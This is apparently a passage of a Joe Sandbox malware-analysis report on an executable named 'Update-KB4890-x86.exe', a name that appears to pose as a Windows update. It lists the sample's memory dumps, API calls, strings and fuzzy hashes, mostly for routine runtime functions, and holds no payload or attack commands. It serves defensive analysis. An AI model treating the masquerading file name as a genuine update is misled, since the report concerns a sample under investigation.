                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalSection$Enter__lock$Leave
                                                                    • String ID:
                                                                    • API String ID: 885841014-0
                                                                    • Opcode ID: 7e985fef4b773b36eea96ff8ad1ba3abeacee3e0040d83120a73aba8512290a5
                                                                    • Instruction ID: 190f3578051f98c2978070aa1ace5d718f57cceca4cdef8a86f22cce7d92fca2
                                                                    • Opcode Fuzzy Hash: 7e985fef4b773b36eea96ff8ad1ba3abeacee3e0040d83120a73aba8512290a5
                                                                    • Instruction Fuzzy Hash: A3412531B007228BDB24EB65F88566E77A0AF01334FA5872FD461962D1CB7C8542CB5C
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: _strlen$___initmbctable_strcat
                                                                    • String ID:
                                                                    • API String ID: 109824703-0
                                                                    • Opcode ID: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
                                                                    • Instruction ID: 5385ac430a30b69aec2053d85f27ee94e75532dfac9a54d499d343a2729e6959
                                                                    • Opcode Fuzzy Hash: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
                                                                    • Instruction Fuzzy Hash: EC1189726064309FD728BF247D4062B7BA5FB403347A4017FED8183262DB3D9855D68E
                                                                    APIs
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
                                                                    • ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
                                                                    • ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
                                                                    • ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: MutexRelease$ObjectSingleWait
                                                                    • String ID:
                                                                    • API String ID: 257779224-0
                                                                    • Opcode ID: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
                                                                    • Instruction ID: 3b8a7f17e4ebfe061791b5d315a4e5195bc8dd0f575c6c97dd90d4b1bd1d3e46
                                                                    • Opcode Fuzzy Hash: 7bb46ad1b88fb9a9461e7f10708a0b149a012f52996eac07301728bedeecd2fa
                                                                    • Instruction Fuzzy Hash: 4BF044773045009B8274DB1AEA04867B7A6FBD53213454A3AF542D3750C535FC06CA64
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Info
                                                                    • String ID: $
                                                                    • API String ID: 1807457897-3032137957
                                                                    • Opcode ID: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
                                                                    • Instruction ID: 8a9144dc760d119363f862b2835ecdd30cff94b7cff921278a221d8c6e03feef
                                                                    • Opcode Fuzzy Hash: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
                                                                    • Instruction Fuzzy Hash: 83416A302003786FEB168B54ED6ABFB7BE8EF06344F6444E2D585C71A2C3984A9587DC
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: __lock
                                                                    • String ID: $C$$$C
                                                                    • API String ID: 1351747465-3751191682
                                                                    • Opcode ID: 644a0982e1412aae1b84127758aa2c5dd4611e4ab37dedf937013aa29887e9e1
                                                                    • Instruction ID: b1263411a33c7abb084cf6b3ba1c38a65e28a18038912d737f562992e4ca65ea
                                                                    • Opcode Fuzzy Hash: 644a0982e1412aae1b84127758aa2c5dd4611e4ab37dedf937013aa29887e9e1
                                                                    • Instruction Fuzzy Hash: 1B41A031F002248BCF28DF2AF8C556D3BA1EB59310BA5806BD809EB355C73CAD418B9D
                                                                    APIs
                                                                    • ___initmbctable.LIBCMT ref: 0042A999
                                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Update-KB4890-x86.exe,00000104,75570A60,00000000,?,?,?,?,00425EB0,?,0042E598,00000060), ref: 0042A9B1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: FileModuleName___initmbctable
                                                                    • String ID: C:\Users\user\Desktop\Update-KB4890-x86.exe
                                                                    • API String ID: 767393020-3648221085
                                                                    • Opcode ID: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
                                                                    • Instruction ID: 44a9705287dc85e6541789c5441cd73dc39d0e17858977665928a33e7fa3aab4
                                                                    • Opcode Fuzzy Hash: fe242c3c7747c275fabc0e21f379b715d9f809c354b0570d9209d5f4ff350ee6
                                                                    • Instruction Fuzzy Hash: 26113AB2B00220ABCB11DBAABD4069B77F8EB44320F51057FFD05D3241D6B89E40C759
                                                                    APIs
                                                                    • __EH_prolog.LIBCMT ref: 00424767
                                                                      • Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC
                                                                      • Part of subcall function 004255BE: __lock.LIBCMT ref: 004255DC
                                                                      • Part of subcall function 004255BE: HeapFree.KERNEL32(00000000,?,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00425623
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFreeH_prologHeapRaise__lock
                                                                    • String ID: hB$string too long
                                                                    • API String ID: 2277933175-4162919455
                                                                    • Opcode ID: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
                                                                    • Instruction ID: a0063198a6ad5418a60f27aa6fdeb6e5ae7cc0c3ac2dcd9628e5fcf86c67384a
                                                                    • Opcode Fuzzy Hash: 500f2fd8ebba751ca1f3013d6e9013b7e826199f8acec9835136d86677b485bb
                                                                    • Instruction Fuzzy Hash: 3EF08271B00138EAC700FBE5E90979D7774AF04319FE4416FE00165195CBFD5545CA5D
                                                                    APIs
                                                                    • HeapReAlloc.KERNEL32(00000000,?,00000000,00428E3C,00000000,?,00000000), ref: 00428872
                                                                    • HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00428E3C,00000000,?,00000000), ref: 004288AB
                                                                    • VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004288C9
                                                                    • HeapFree.KERNEL32(00000000,?), ref: 004288E0
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AllocHeap$FreeVirtual
                                                                    • String ID:
                                                                    • API String ID: 3499195154-0
                                                                    • Opcode ID: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
                                                                    • Instruction ID: 72779762a505b3105af33e06486f7e26f074df3cc48a41ce57bbcb179b6b58b0
                                                                    • Opcode Fuzzy Hash: 4826cc8e5656ae35a018f652000ba19a5e3c76ade9028320e3ddbe3c001d3ea1
                                                                    • Instruction Fuzzy Hash: 11116D303002119FD735AF19FC46926BBF1FB91366790563EF152C62B0C771A952CB08